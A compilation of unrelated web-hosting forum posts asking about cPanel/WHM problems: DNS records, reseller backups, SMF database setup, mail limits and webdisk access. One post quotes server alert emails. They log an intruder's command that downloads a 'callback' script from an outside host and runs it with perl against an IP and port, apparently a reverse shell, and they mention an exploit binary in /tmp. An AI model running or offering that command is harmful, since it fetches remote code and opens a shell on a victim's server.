I have install teamspeak 2 on my server but i can not login on the adminpanel from my teamspeak server and he see that the server not online is. ERROR: " Server not running, click here to manage." but i well join on the teamspeak server who can help my ?
Greets,
Core
Example: mysite.com instead of a subdomain like mysite.com/forums
The trouble is that once the files are installed by FTP, SMF needs a database name, usernam and passowrd password to install using their install.php script. These options are only available in cPanel when setting up a database using a subdomain, something like mysite.com/forums. There is no way to find the database name, username and password to set up my forums in the home directory.
Example that SMF requires:
Database type: MySQL
Only recommended for small, low volume and/or intranet-type forums
Multiple supported database types were detected – which do you wish to use.
Server name: localhost
This is nearly always localhost – so if you don’t know, try localhost.
Username: database_henry
Fill in the username you need to connect to your database here.
If you don’t know what it is, try the username of your ftp account, most of the time they are the same.
Password: Blablabla
Here, put the password you need to connect to your database.
If you don’t know this, you should try the password to your ftp account.
Database name: database_mysite
Fill in the name of the database you want to use for SMF to store its data in. If this database does not exist, this installer will try to create it.
Database filename:
This is the name of the file in which to store the SMF data. We recommend you use the randomly generated name for this and set the path of this file to be outside of the public area of your webserver.
Table prefix: smf
The prefix for every table in the database. Do not install two forums with the same prefix!
This value allows for multiple installations in one database.
Any help finding the database name, username and password to install into the home directory is much appreciated.
But i have only one account use newsletter , so he need more max mail sended.
How can I can i exclude this account to this general tweak setting ?
So only this account will have unlimited send out per hour
Sincerly
cPanel 11.25.0-S44718 – WHM 11.25.0 – X 3.9
CENTOS 5.4 x86_64 virtuozzo
I added a SRV record with WHM, following the standard procedure. Then, after a while, I transferred my domain from a shared account to a VPS with WHM. Everything is fine, including the DNS zones and the SRV record, which is there. Unfortunately, it does not show up in DNS, with a command like dig SRV _sipfederationtls._tcp.domain.ext. I deleted and added it again, I restarted BIND, no luck. All the other records and domains on my server work fine. This is the only SRV record I have. Any ideas, what can I do to make it visible in DNS?
This is development question can i do the followings.
1. Can i generate all accounts backups of my customer using his reseller login of old host? in this case i have the root login of myserver so no issue for me to run any ssh command at my server but point is this does is it possible for me to do that without mentioned all accounts list or password etc or SSH access of his old host?… Its kind of same feature that you allow for one account migration in WHM for root called (Copy an account from another server with account password).
2. How i can restore multiple accounts using SSH command or xml-api calls i want to allow my customers to restore multiple accounts by themselves so which means reseller will do themselves.
3. How i can make an efficenet plugin which check server load first before taking or restoring backup how to check server load ? so i get a numeric value and on the bases of i allow or apply specific command?
4. What Api call to restore single account?
Looking for great help same as before.
Thanks
Rao
I have 2 cPanel servers (full version) that are hooked up to DNS cluster consisted of two DNSONLY cPanels.
I need to add, and occasionally modify, some external domains and was planning to use my DNS cluster and API calls to achieve this.
However, any API calls to DNSONLY cPanels are ending with following response:
<license>
<status>0</status>
<statusmsg>Cannot Read License File</statusmsg>
</license>Obviously, API calls that I’m interested in are from the DNS area (more exactly, I tried /xml-api/listzones).
Are there any limitations or do I have to do anything before I’ll be able to use API on DNSONLY servers? I suppose it must be possible because cPanel itself is able to add/remove/update DNS zones.
I have just opend my mailbox and see loads of warning mails.
For example:
Time: Tue May 4 21:38:53 2010 +0200
PID: 30804
Account: nobody
Uptime: 115 seconds
Executable:
/bin/bash
Command Line (often faked in exploits):
sh -c cd /tmp/;wget davemorar.angelfire.com/callback;perl callback 188.24.6.161 80
Network connections by the process (if any):
Time: Tue May 4 21:38:53 2010 +0200
PID: 30813
Account: nobody
Uptime: 114 seconds
Executable:
/bin/bash
Command Line (often faked in exploits):
/bin/sh
Network connections by the process (if any):
Time: Tue May 4 21:37:24 2010 +0200
File: /tmp/expls/linux-sendpage
Reason: Binary executable
Owner: nobody:nobody
Action: No action takenI feel like pannic!
The idea suggested was having "sub-root users." Essentially, this would be like having a reseller with root access (sometimes called a root-level reseller). However, unlike a root-level reseller that has access to essentially everything in the cPanel and WHM interfaces, a sub-root user would have access to all accounts, but their abilities would be governed similar to reseller ACLs (e.g. only able to create accounts, only able to edit/modify accounts).
This functionality would be useful for allowing sales and billing teams to have sufficient access to perform job-related tasks on an entire server, but without the excessive root access that could cause damage to accounts and thus a poor customer experience.
This current request cannot be satisfied with existing reseller functionality since, at this time, only 1 reseller can own a single account — thus unable to accommodate several staff members each with their own login.
One option suggested was the ability to toggle the ability of these sub-root users to login to cPanel accounts using their credentials or using the reseller override on a per-account basis. Perhaps this specific aspect of this request may evolve into its own feature request for all reseller users, if you want this functionality to be available for all reseller users.
As with any cPanel/WHM login, all actions by these users would be logged to /usr/local/cpanel/logs/access_log so staff can be monitored and logs preserved for future analysis if needed.
If you would utilize such functionality or have any ideas for improving upon this requested feature, please reply to this thread.
So now, I am setting up a webdisk for one of our accounts, and I see this bit of text on one of the pages after creating the webdisk:
"If you create a webdisk inside of the public_html directory, you will be making the files in the directory publicly accessible. If you want to keep your files private, you should use a directory that is not contained within any public folder."
Eeeeek! "…you will be making the files in the directory publicly accessible".
So, let me get this straight; even though I have created a webdisk, using a password and all, just the very act of doing this makes my public_html "publicly accessible". Well firstly, this directory IS technically publicly accessible otherwise no one would be able to use a browser to see any web pages. So does this mean that it will also make the public_html publicly writable, or otherwise insecure?
I just don’t get this one.